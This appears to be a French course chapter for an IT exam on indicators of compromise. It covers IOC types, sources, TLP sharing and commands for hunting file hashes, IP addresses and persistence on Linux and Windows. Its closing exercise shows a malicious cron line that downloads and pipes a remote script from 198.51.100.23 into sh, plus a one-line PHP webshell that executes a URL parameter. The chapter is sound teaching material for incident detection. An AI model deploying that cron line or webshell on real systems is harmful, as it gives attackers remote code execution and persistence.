Indicateurs de compromission (IOC) : détecter une attaque

Un indicateur de compromission (IOC, de l'anglais Indicator of Compromise) est une trace technique qui signale qu'un système a probablement été attaqué : l'empreinte d'un fichier malveillant, une adresse IP ou un nom de domaine utilisé par des attaquants, une clé de registre créée par un programme malveillant. Ce chapitre présente les types d'IOC, leur valeur pour la défense, où les trouver, comment les rechercher dans les journaux et sur les machines, et comment s'en servir pour qualifier une alerte.

IOC et IOA : la trace et le comportement

• Un indicateur de compromission est une donnée précise et statique : « le fichier dont l'empreinte SHA-256 est a7da3a3e… », « l'adresse 198.51.100.23 ». Sa présence prouve presque à coup sûr un lien avec une attaque connue. Mais il ne détecte que ce qu'on connaît déjà, et souvent après coup.
• Un indicateur d'attaque (IOA, Indicator of Attack) décrit un comportement : « un traitement de texte lance PowerShell, qui télécharge un fichier », « un compte lit 4 000 fichiers en trois minutes ». Il ne dépend pas d'un outil précis et repère aussi des attaques nouvelles, au prix de plus de faux positifs.

Les deux se complètent : les IOC servent à chercher vite des traces connues sur tout le parc, les IOA à repérer ce qu'aucune liste ne contient encore.

Les types d'IOC

La pyramide de la douleur

Tous les IOC n'ont pas la même valeur. La pyramide de la douleur, proposée en 2013 par l'analyste David Bianco, les classe selon l'effort qu'il faut à l'attaquant pour les changer, et donc selon la gêne que tu lui causes en les bloquant.

La conséquence est pratique. Bloquer une empreinte ou une adresse IP est utile et immédiat, mais l'attaquant s'adapte en quelques minutes. Détecter un comportement (une force brute suivie d'un succès, un compte qui s'ajoute aux administrateurs, un outil qui vide la mémoire du processus d'authentification de Windows) le gêne beaucoup plus, parce qu'il doit changer sa méthode.

Où trouver des IOC

• Les bulletins du CERT-FR (cert.ssi.gouv.fr) : les alertes signalent une menace en cours d'exploitation, les avis une vulnérabilité et son correctif, et les rapports sur la menace décrivent des modes opératoires d'attaquants avec leurs IOC. Le sujet SISR 2026 fournit l'alerte CERTFR-2021-ALE-022 sur Log4j, qui donne les chaînes à chercher dans les journaux.
• Les plateformes de partage comme MISP, un logiciel libre de partage d'indicateurs utilisé par de nombreux CERT et entreprises, qui échange les IOC dans des formats standard (STIX).
• Les éditeurs de sécurité et les projets communautaires, qui publient listes et règles.
• Tes propres incidents : chaque IOC relevé chez toi sert à chercher ailleurs dans ton parc, et peut être partagé avec ton CSIRT régional.

Deux formats de règles sont utiles à connaître de nom : YARA décrit des motifs pour reconnaître des fichiers malveillants, Sigma décrit des motifs de détection dans les journaux, de façon indépendante du SIEM utilisé.

Quand on partage des IOC, on indique leur diffusion autorisée avec le TLP (Traffic Light Protocol) : TLP:RED (destinataires nommés uniquement), TLP:AMBER+STRICT (l'organisation du destinataire seulement), TLP:AMBER (l'organisation du destinataire, et ses clients si nécessaire), TLP:GREEN (la communauté, pas de publication) et TLP:CLEAR (diffusion libre).

Rechercher un IOC

Une empreinte de fichier. On calcule l'empreinte du fichier suspect et on la compare à la liste.

sha256sum /tmp/.x

a7da3a3e30f5cbc9e0df84e6755b33d30d18c42b8035a393b832cc6dc2f498db  /tmp/.x

Get-FileHash -Algorithm SHA256 C:\Users\jperrin\Downloads\facture.exe

Une adresse ou un domaine. On cherche dans les journaux du pare-feu, du proxy et du DNS, de préférence dans le SIEM pour couvrir tout le parc et toute la période :

# Sur le collecteur : quelles machines ont parlé à 198.51.100.23 ?
grep -rl "198.51.100.23" /var/log/central/

Une persistance sur Linux. On regarde les endroits où un attaquant s'installe pour revenir :

crontab -l -u deploy                          # tâches planifiées du compte
ls -la /etc/cron.d/ /etc/cron.daily/           # tâches système
systemctl list-unit-files --state=enabled      # services activés au démarrage
cat /home/deploy/.ssh/authorized_keys          # clés SSH autorisées
ls -la --time-style=full-iso /tmp /var/tmp /dev/shm   # fichiers déposés, souvent cachés (nom en .)
ss -tnp                                        # connexions réseau en cours et processus associés

Une persistance sous Windows.

# Programmes lancés à l'ouverture de session
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
                 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run'
# Tâches planifiées hors de celles de Microsoft
Get-ScheduledTask | Where-Object TaskPath -notlike '\Microsoft\*' | Select-Object TaskName, TaskPath, State
# Services dont l'exécutable est dans un dossier temporaire ou utilisateur
Get-CimInstance Win32_Service | Where-Object { $_.PathName -match 'Temp|Users|PerfLogs' } |
    Select-Object Name, PathName, StartMode

Exemple : chasser les traces de l'intrusion sur srv-web

Après l'analyse des journaux (chapitre 3), Léa dresse la liste des IOC de l'incident, puis les cherche partout.

Conclusion : la compromission est limitée à srv-web, avec deux persistances à supprimer pendant l'éradication. Sans ces IOC, l'équipe aurait changé le mot de passe de deploy en croyant l'affaire réglée, et l'attaquant serait revenu par sa clé SSH.

Qualifier l'alerte : incident confirmé ou faux positif ?

La qualification répond à une question simple, avec des preuves : y a-t-il eu compromission ?

1. Relever ce que dit l'alerte : quoi, quand, quelle machine, quel compte.
2. Comparer aux IOC disponibles (bulletins, rapports, incidents passés) et aux comportements normaux de la machine et de l'utilisateur.
3. Chercher les traces qui confirment ou infirment : connexions, fichiers, processus, persistances.
4. Conclure : incident confirmé (avec les IOC qui le prouvent), faux positif (avec l'explication), ou indéterminé (avec les vérifications restantes et une surveillance renforcée en attendant).

Côté SLAM : les IOC d'une application

Une application web compromise laisse aussi des traces propres :

• un fichier inattendu dans le dossier de téléversement ou dans le code (upload/image.php qui exécute un paramètre cmd : une porte dérobée web, ou webshell) ;
• des fichiers du code modifiés : git status sur le serveur, ou une comparaison des empreintes avec la version livrée, le révèle ;
• des comptes administrateurs créés dans la base de l'application, des jetons d'API inconnus ;
• une dépendance remplacée par une version piégée (attaque de la chaîne d'approvisionnement), visible dans le fichier de verrouillage (composer.lock, package-lock.json).

Hugo vérifie donc aussi le code et les données du site, pas seulement le système.

À l'E7

• SISR, métropole 2023 (alors E6, U6), cas de la Ville du Parc : la question C1.1 demande la qualification de l'alerte (incident confirmé ou faux positif) en indiquant les indicateurs de compromission, à partir des journaux du proxy, d'une liste d'IOC d'un chargeur de maliciel et d'une liste d'IOC du rançongiciel Ryuk (domaines de commande et contrôle, noms et chemins de fichiers, empreinte MD5).
• SISR, métropole 2022 (alors E6, U6), cas CalédoBank : à partir d'une alerte du CERT-FR sur le cheval de Troie Emotet, la question A2.1 fait détailler la recherche de traces permettant d'établir si le système est infecté, puis proposer trois mesures de réduction du risque.
• SISR, métropole 2026 (U7), cas SPARCLE : la question A1.5 fait préciser les critères qui identifient les cibles potentielles de la vulnérabilité Log4j (une application Java utilisant une version vulnérable de la bibliothèque) et désigner les autres serveurs exposés.

Pour aller plus loin. Les règles de détection d'un IDS comme Suricata, qui transforment un IOC en alerte, sont expliquées dans le chapitre IDS et IPS du cours Cybersécurité des infrastructures.

Exercices

$ crontab -l -u www-data
*/5 * * * * curl -s http://198.51.100.23/u.sh | sh
$ ls -la --time-style=+%F_%T /var/www/html/upload/
-rw-r--r-- 1 www-data www-data 184211 2026-09-02_10:15:31 catalogue-2026.pdf
-rw-r--r-- 1 www-data www-data     68 2026-10-13_09:44:02 img.php
-rw-r--r-- 1 www-data www-data  91822 2026-10-01_16:02:47 table-chene.jpg
$ cat /var/www/html/upload/img.php
<?php if (isset($_GET['c'])) { system($_GET['c']); } ?>